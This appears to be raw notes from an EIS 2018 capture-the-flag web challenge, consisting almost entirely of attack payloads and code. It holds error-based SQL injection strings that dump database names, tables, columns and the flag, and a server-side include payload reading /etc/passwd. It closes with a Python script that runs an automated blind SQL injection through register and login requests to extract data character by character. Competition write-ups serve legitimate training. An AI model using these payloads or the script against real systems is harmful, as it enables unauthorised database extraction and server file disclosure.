EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,database())))#

admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#

admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#

admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#

'~EIS{7879f0a27d8bcfcff0bcc837d76'

admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#

~7641e81}

EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleServerInjection, SSI, flag in current directory

https://blog.csdn.net/wutianxu123/article/details/82724637

<!--#include virtual="/etc/passwd" -->

http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->

EIS{59f2c02f18838b3fb57dd57e2808f9c2}

sky'
sky'#

1' and if(1,exp(999999999999),1)#

grade 0

1' and if(0,exp(999999999999),1)#

import requests
def reg(username,password='1'):
    data = {
        'username':username,
        'password':password
    }
    url = 'http://210.32.4.20/register.php'
    r = requests.post(url=url,data=data)
    return r.headers['Set-Cookie'][10:-8]

def login(session,username,password='1'):
    data = {
        'username': username,
        'password': password
    }
    cookie = {
        'PHPSESSID':session
    }
    url = 'http://210.32.4.20/login.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    data = {
        '10.a':'on'
    }
    url = 'http://210.32.4.20/answer.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    if 'Your grades is 0' in r.content:
        return 1
    url = 'http://210.32.4.20/logout.php'
    r = requests.get(url=url,cookies=cookie)
    return 0
flag = 'EIS{'
for i in range(5,1000):
    for k in 'abcdef0123456789}':
        j = ord(k)
        payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
        try:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break
        except:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break